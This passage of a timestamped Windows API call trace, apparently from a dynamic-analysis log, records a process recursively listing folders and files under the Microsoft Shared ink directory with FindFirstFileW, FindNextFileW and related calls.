ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.478] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0272.478] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.668] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0272.671] GetLastError () returned 0x12 [0272.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.671] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.671] GetLastError () returned 0x12 [0272.671] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.671] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.671] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.671] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.671] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.671] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.671] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.672] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.672] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.672] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.672] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.672] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.673] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.673] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.674] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.674] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.674] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.674] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.674] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.674] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.674] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.675] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.675] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.675] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.675] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.675] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.675] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.675] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.675] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.675] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.675] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.676] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.676] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.676] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.676] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.733] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.733] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, 